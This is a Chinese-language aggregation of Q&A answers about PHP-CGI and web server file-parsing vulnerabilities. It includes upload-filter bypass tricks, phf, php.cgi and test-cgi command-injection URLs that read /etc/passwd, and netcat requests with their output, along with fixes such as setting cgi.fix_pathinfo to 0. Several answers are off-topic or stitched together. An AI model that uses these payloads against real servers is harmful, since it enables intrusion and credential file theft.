phpcgi漏洞
1. 哪些伺服器曾被發現文件解析漏洞
伺服器解析漏洞總結
1、Apache1.x 2.x解析漏洞
Apache伺服器解析文件時,從後向前遍歷後綴名,直到遇到第一個可以被識別的後綴名,則按該種後綴方式進行文件解析。
這樣造成一個危害是:如果應用限制了php等敏感後綴,我們可以通過上傳x.php.jpg這種未被攔截的後綴的木馬上傳,訪問時,Apache會因為無法識別jgp,而向前尋找,找到php,按照php文件進行正常解析。木馬被執行。
2、IIS6.0解析漏洞
(1)如果目錄名包含.asp .asa .cer這種字樣,則該目錄下所有文件都被當做asp來進行解析
(2)如果文件名中包含.asp;、.asa;、.cer;這種字樣,也會被優先按照asp來進行解析
3、Nginx
(1)0.8.37以下的版本,可以上傳一個不被過濾後綴名的木馬,如:shell.jpg,可以通過請求shell.jpg.php來進行正常解析
(2)0.8.41 – 1.5.6間的版本,可以上傳一個不被過濾後綴名的木馬,如:shell.jpg,可以通過請求shell.jpg%20.php來進行解析
4、PHP CGI文件解析漏洞
(1)Nginx小於0.8.3以下的版本,且當默認php配置文件cgi.fix_pathinfo=1時,可以上傳一個不被過濾後綴名的木馬,如:shell.jpg,通過請求shell.phhp/shell.jpg,可以使得shell.jpg被當做php來解析
(2)IIS7.0/7.5之間的版本,如果存在多個Content-Disposition,則IIS會取第一個作為接受參數,同時,如果waf只取第二個進行檢測的話,則有可能被繞過過濾。
2. 急急急!php網站 被發現有sql注入漏洞,還有PHP-CGI遠程任意代碼執行漏洞,這怎麼修改需要時間長不長
現在一般框架都防止sql注入了啊
3. PHP漏洞有哪些
首先和ASP一樣,對敏感字元過濾不嚴會導致注入..
還有PHP很有特點,他得運行程序是很人性化得,如果設置不好,隨便提交個有錯得地址之類就會告訴你絕對路徑之類得敏感信息.
PHP包含過濾不嚴會導致讀取任意文件.
變數過濾不嚴會導致偽造數據欺騙伺服器.
等等等等好多..我說得這些都是比較常見和常用得
4. CGI漏洞怎麼利用
我寫這個並不是因為我已經厭倦了一遍又一遍地回答同樣的問題,而是考慮到這確實是一個有意義的問題,其實很多人(90%)確實需要問這個問題而從來沒有去問。
我被問了很多次有關安全領域的問題,比如:什麼編程語言你最推崇?應該讀什麼書作為開始?總而言之,就是如何在安全領域內成為一個有影響的人。既然我的答案和一般的答案有所不同,我打算把我的看法說出來。
1.從哪裡開始?
我的觀點可能和一般的看法不同,如果你剛剛起步,我建議你不要從Technotronic,Bugtraq,Packetstorm,Rootshell等站點開始,沒錯?不要從那裡開始(盡管它們是很好的站點,而且我的意思也並不是說不要去訪問這些站點),原因十分簡單,如果你以為通曉「安全」就是知道最新的漏洞,到頭來你將會發現自己一無所獲。
我同意,知道什麼地方有漏洞是十分必要的,但是這些並不能夠為你的高手之路打下堅實的基礎,比如,你知道RDS是最新的漏洞,知道如何下載並使用對這個漏洞進行利用的Script工具,知道如何修補這個漏洞(也許,很多人只知如何攻擊,不知道如何防護),可是,3個月後,補丁漫天飛舞,這個漏洞已經不存在了......現在你的那些知識還有什麼用?而且你可能根本沒有理解對漏洞的分析。
你應該學習的知識是什麼?是分析?還是攻擊手段?
這是我想要再次強調的,人們可能沒有注意,已經有很多人認為他們只要知道最新的漏洞就是安全專家,NO!No!No!所有他們知道的只不過是「漏洞」,而不是「安全」。
例如:你知道有關於phf的漏洞,showcode.asp的漏洞,count.cgi和test.cgi的漏洞,但是你知道為什麼它們會成為CGI的漏洞嗎?你知道如何編一個安全的通用網關程序嗎?你會根據一個CGI的工作狀態來判斷它可能有哪些漏洞或哪方面的漏洞嗎?或者,你是不是只知道這些CGI有漏洞呢?
所以我建議你不要從漏洞開始,就當它們不存在(你知道我的意思),你真正需要做的是從一個普通用戶開始。
2.做一個用戶
我的意思是你至少要有一些基本的常規知識。例如:如果你要從事Web Hacking,你是否可能連瀏覽器都不會使用?你會打開Netscape,打開IE?很好!你會輸入姓名,你知道HTML是網頁,很好,你要一直這樣下去,變成一個熟練的用戶。你會區別ASP和CGI是動態的,什麼是PHP?什麼是轉向,Cookies,SSL?你要知道任何一個普通用戶可能接觸到的關於Web的事物。不是進攻漏洞,僅僅是使用,沒有這些基礎的(也許是枯燥的)知識,你不可能成為高手,這里沒有任何捷徑。
好,現在你知道這里的一切了,你用過了。你在Hack UNIX之前你至少要知道如何Login,Logout,如何使用shell命令,如何使用一般的常用程序(Mail,FTP,Web,Lynx等)。
要想成為一個管理員,你需要掌握如下基本的操作。
3.成為一個管理員
現在你已經超過了一個普通用戶的領域了,進入了更復雜的領域,你要掌握更多的知識。例如:Web伺服器的類型,與其他的伺服器有什麼區別?如何去配置它,像這樣的知識,你知道得越多就意味著你更了解它是如何工作的?它是干什麼的?你理解HTTP協議嗎?你知道HTTP1.0和HTTP1.1之間的區別嗎?WEBDAV是什麼?知道HTTP1.1虛擬主機有助於建立你的Web伺服器嗎?
你需要了解操作系統,如果你從來沒有配置過NT,你怎麼可能去進攻一個NT伺服器?你從來沒有用過Rdisk,用戶管理器,卻期望Crack一個管理員密碼,得到用戶許可權?你想使用RDS,而你在NT下的操作一直使用圖形界面?你需要從管理員提升到一個「超級管理員」,這不是指你有一個超級用戶的許可權,而是你的知識要貫穿你的所有領域。很好,你會在圖形界面下添加用戶,在命令方式下也能做到嗎?而且,system32里的那些.exe文件都是干什麼的?你知道為什麼USERNETCTL必須要有超級用戶許可權?你是不是從來沒有接觸過USERNETCTL?不要以為知道如何做到就行了,要盡可能知道的更多,成為一名技術上的領導者,但是......
你不可能知道所有的事情。
這是我們不得不面對的事實。如果你認為你可以知道所有的事情,你在自欺欺人。你需要做的是選擇一個領域,一個你最感興趣的領域,並進一步學習更多的知識。
要想成為一名熟練用戶,成為一名管理員,成為一名技術上的領導者,直至成為某一個領域中最優秀的人,不是僅僅學習如何使用web瀏覽器,怎樣寫CGI就行了,你知道HTTP和web伺服器的原理嗎?知道伺服器不正常工作時應該怎樣讓它工作嗎?當你在這個領域內有一定經驗時,自然就知道怎樣攻擊和防護了
這其實是很簡單的道理,如果你知道所有的關於這方面的知識,那麼,你也就知道安全隱患在哪裡。面對所有的漏洞(新的,舊的,將來的),你自己就能夠發現未知的漏洞(你這時已經是一個網路高手了)
你找漏洞可以,但你必須了解漏洞的根源。所以,放下手中的Whisker的拷貝,去學習CGI到底是干什麼的?它們怎麼使通過HTTP的web伺服器有漏洞的?很快你就會知道到底Whisker是干什麼的了。
4.編程語言
在所有被問的問題中,最常聽到的就是:「你認為應該學習什麼編程語言?」
我想,這要看具體情況了,如你准備花費多少時間來學習?你想用這種語言做哪些事?想用多長時間完成一個程序?這個程序將完成多復雜的任務?
以下有幾個選項。
Visual Basic
一種非常容易學習的語言。有很多關於這方面的書,公開的免費源代碼也很多。你應該能夠很快地使用它。但是這個語言有一定局限,它並不是諸如C++那樣強大,你需要在windows下運行它,需要一個VB的編程環境(不論盜版還是正版的,反正它不是免費的)。想用VB來編攻擊代碼或補丁是十分困難的。
C++
也許是最強大的語言了。在所有的操作系統里都存在。在網上有上噸的源代碼和書是免費的,包括編程環境。它比VB復雜,掌握它所需花費的時間也要比掌握VB多一些。簡單的東西容易學,功能強大的東西理解起來也要困難一些,這需要你自己衡量。
Assembly
也許是最復雜的語言,也是最難學習的語言。如果你把它當作第一個要學習的語言,那麼將會難得你頭要爆裂。但是,先學會了匯編,其餘的編程語言就變的很容易。市場上有一些這方面的書,但這方面的教材有減少的趨勢。不過,匯編知識在某些方面至關重要,比如緩沖溢出攻擊。
perl
一種很不錯的語言。它像VB一樣容易學習,也像VB一樣有局限。但是它在多數操作平台中都能運行(UNIX和windows),所以這是它的優勢。有很多這方面的書籍,而且它是完全免費的,你可以用它來製作一些普通的攻擊工具。它主要用於一些文本方式的攻擊技巧,並不適合製作二進製程序。
我想,這是所有你想知道的,有把握的說,c/c++是最佳選擇。
你先看看這些吧
5. 文件上傳漏洞有哪些挖掘思路
文件上傳漏洞作為獲取伺服器許可權最快的方式,雖然相關資料很多,但很多人對上傳校驗方式、如何針對性繞過檢測、哪種上傳和解析的場景會產生危害等還是比較模糊。本文作一些闡述,然後補充一些除了上傳webshell的其他非常規挖掘姿勢,包括XSS、重定向、Dos、CSRF等等。
1、基礎知識:
要深入了解文件上傳,必須了解上傳屬性、常見文件的結構、圖形處理函數等內容。
1) 報文特點:
觀察文件上傳報文的特點:
Header中Content-Type特徵有二:
1.multipart/form-data(form表單的enctype屬性,規定為二進制數據)
2.boundary字元串(作用為分隔符,以區分POST數據)
POST內容特徵有五:
1.Content-Disposition:form-data
2. name:input表單名
3.filename:文件名
4.Content-Type:定義文件的類型和網頁的編碼,決定瀏覽器將以什麼形式、什麼編碼讀取這個文件;
5.boundary:Content-Type的值前面加了兩個---
2) 常見校驗規則
現存常用的上傳校驗規則無非下面幾類:
1.客戶端javascript校驗(後綴名)
2.文件頭content-type欄位校驗(image/gif):附帶參數
4.後綴名黑/白名單校驗:擴展名
5.文件內容頭校驗:GIF89a
6.文件內容校驗:文件信息,二次渲染
7.自定義正則校驗
3)一個澄清
文件上傳和文件解析是兩個過程,即使我們上傳的是php文件,但解析為圖片,訪問php文件會顯示「圖片無法顯示」;或者我們上傳的是jpg文件,但裡面混有shell腳本,若被解析為php文件也會執行;又或者上傳處沒法繞過檢測,只能上傳jpg文件,但在其他功能處存在文件包含等功能,仍可執行成功。
還是回到安全的本質,上傳是「輸入」,那文件解析就是「輸出」,任何漏洞挖掘都需要結合輸入+輸出。
2、繞過技巧:
這里匯總一些實戰中較常用的繞過技巧:
1)後綴名黑名單
以下替換後綴也可以解析為shell:
php:.phtml,.phpt,.php3,.php3p
asp:.aspx,asmx,ashx,web.config
perl:.pl,.pm,.cgi,.lib
jsp:.jspx,.jsw,.jsv,.jspf
Coldfusion:.cfm,.cfml,.cfc,.dbm
另外可以配合操作系統的文件命名規則:
.php.,.php空格,.php:1.jpg,.php::$DATA等
這些後綴的文件會被windows系統自動去掉不符合規則符號後面的內容,從而只留下.php。
2)後綴名白名單
除了結合各種伺服器解析特性,較常用的是Null Byte Injection空位元組注入,插入空位元組值的原因是某些應用程序伺服器腳本語言使用c/c++庫來檢查文件名和內容。在C/C ++中,一行以/00結尾或稱為NullByte。因此,只要解釋器在字元串的末尾看到一個空位元組,就會停止讀取,認為它已經到達字元串的末尾。
如,我們將要上傳的Happy.jpg的名稱更改為Happy.phpA.jpg,然後上傳文件,在Burp中捕獲請求,切換到Hex視圖。在字元串視圖中找到文件名。查看相應的Hex表,並將41('A')替換為00(為空位元組)。結果字元串變為Happy.php(空).jpeg。由於php解釋器在內部使用C語言庫,它將停止讀取Happy.php後的文件名,文件將保存為Happy.php。
另一種繞過白名單的方法是使用雙後綴:shell.php.jpg。
6. CGI漏洞向來是容易被人們忽視的問題
CGI漏洞向來是容易被人們忽視的問題,同時也是普遍存在的,攻破PCWEEK LINUX的黑客就是利用了CGI的一個漏洞。我就自己所知道的和從外國站點看來的一些CGI漏洞來寫一些利用CGI的攻擊方法,水平有限寫得不對的地方請來信告訴我:[email protected]
一、phf.cgi攻擊:
phf是大家所熟悉的了,它本來是用來更新PHONEBOOK的,但是許多管理員對它不了解以至於造成了漏洞。在瀏覽器中輸入:
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
可以顯示出PASSWD文檔來。其實還可以用更好的命令來實現目的:
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
=haqr&Qemail=&Qnickname=&Qoffice_phone=
以上等於執行了命令:
id
ls -la ~someuser
cp /etc/passwd ~someuser/passwd
(用普通的可以進入的目錄來看passwd)
rm ~someuser/passwd
二、php.cgi
除了PHF以外,php也是常見的漏洞,php.cgi 2.0beta10或更早版本中,允許anyone以
HTTP管理員身份讀系統文件,在瀏覽器中輸入:
http://boogered.system.com/cgi-bin/php.cgi?/etc/passwd
就可以看到想看的文件。
另外,一部分php.cgi還可以執行shell,原因是它把8k bytes位元組放入128bytes的緩沖區中,造成堆棧段溢出,使得攻擊者可以以HTTP管理員的身份執行。
但是只有PHP作為CGI腳本時才能實現,而在作為Apache模量是不能運行的。想檢查能否運行,只要在瀏覽器中輸入:
http://hostname/cgi-bin/php.cgi
如果你看到返回這樣的字樣就可以運行:
PHP/FI Version 2.0b10
...
三、test-cgi的問題
test-cgi同樣是個常常出現的漏洞,在瀏覽器中輸入:
http://thegnome.com/cgi-bin/test-cgi?\whatever
將會返回:
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
再來一次,這樣輸入:
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
看到PASSWD了?
用netcat 80 埠 進行攻擊:
machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80
返回:
CGI/1.0 test script report:
argc is 1. argv is /\*.
SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
顯示出了根目錄!這樣試試:
machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80
返回:
CGI/1.0 test script report:
argc is 1. argv is \*.
SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
mail-query mail-query-2 majordomo majordomo.cf marker.cgi
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
query smartlist.cf src subscribe.cf test-cgi uptime
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
顯示了/CGI-BIN/目錄下的東西。
CGI漏洞的利用(二)
CGI漏洞向來是容易被人們忽視的問題,同時也是普遍存在的,前不久攻破PCWEEK LINUX的黑客就是利用了CGI的一個漏洞。我就自己所知道的和從外國站點看來的一些CGI漏洞來寫一些利用CGI的攻擊方法,水平有限寫得不對的地方請來信告訴我:[email protected]
四、Count.cgi溢出漏洞
Count.cgi(wwwcount)是國外網站經常用的CGI網頁計數程序,國內很少有人用它,不過還是有一些網站的CGI-BIN目錄下有它,簡單說一下它的原理以及利用方法。
出現問題主要是由於QUERY_STRING 環境變數被復制到一個活動緩沖區,造成溢出,允許遠程用戶以HTTP管理員的身份執行任意命令。
有人寫了個程序來利用這個漏洞,只對Count.cgi 24以下版本有效:
五、用Count.cgi看圖片
這個不算是很有用的漏洞,可是既然寫到這兒了,也就順便提一下吧。可以利用Count.cgi看WEB目錄以外的圖片,據作者說有一些商業網站的圖片里有一些商業機密,所以這個漏洞也算是有點用處吧!哈哈!
在瀏覽器中這樣輸入: 其中/path_to_gif/file.gif是你要看的圖片的路徑。
注意,這一漏洞只能被用來看(或下載)GIF格式的圖片,而不能用於其他類型的文件。
7. 安裝防病毒軟體可防止php-cgi漏洞攻擊嗎
可以騰訊電腦管家保護安全
騰訊電腦管家對電腦內從速度、安全、系統、帳號風險等多個方面進行保護優化,幫助檢查電腦的健康狀況以及修復一些存在異常的系統部件。實時防護檢測文件確保用戶在瀏覽網頁時杜絕釣魚、掛載、篡改等惡意程序破壞電腦安全。確保網購安全,主動過濾搜索,防患於未然
8. Apache;PHP;漏洞Slow HTTP Denial of Service Attack怎麼處理;下面是 httpd.conf 文件
denial-of-service attack
拒絕服務攻擊;阻斷服務攻擊;停止服務攻擊
例句篩選
1.
Denial of service attack against the provider's host.
對供應商主機的拒絕式服務攻擊。
2.
Because quotas must be disabled, storage resources are more vulnerable to adenial of service attack.
因為必須禁用配額,所以存儲資源更易受到拒絕服務攻擊。
9. 關於PHP漏洞修復
因為官方已經停止更新了,是不會出新包的。如果想要修復,只能把自己的版本迭代,升級到php7。物競天擇,只能狠狠心更新版本了,項目可能要大換血
10. 怎麼樣在php中使用fastcgi解析漏洞及修復方案
(Nginx用戶可以選擇方案一或方案二,IIS用戶請使用方案一)
方案一,修改php.ini文件,將cgi.fix_pathinfo的值設置為0。完成後請重啟PHP和NGINX(IIS)。
方案二,在Nginx配置文件中添加以下代碼:
復制代碼 代碼如下:
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}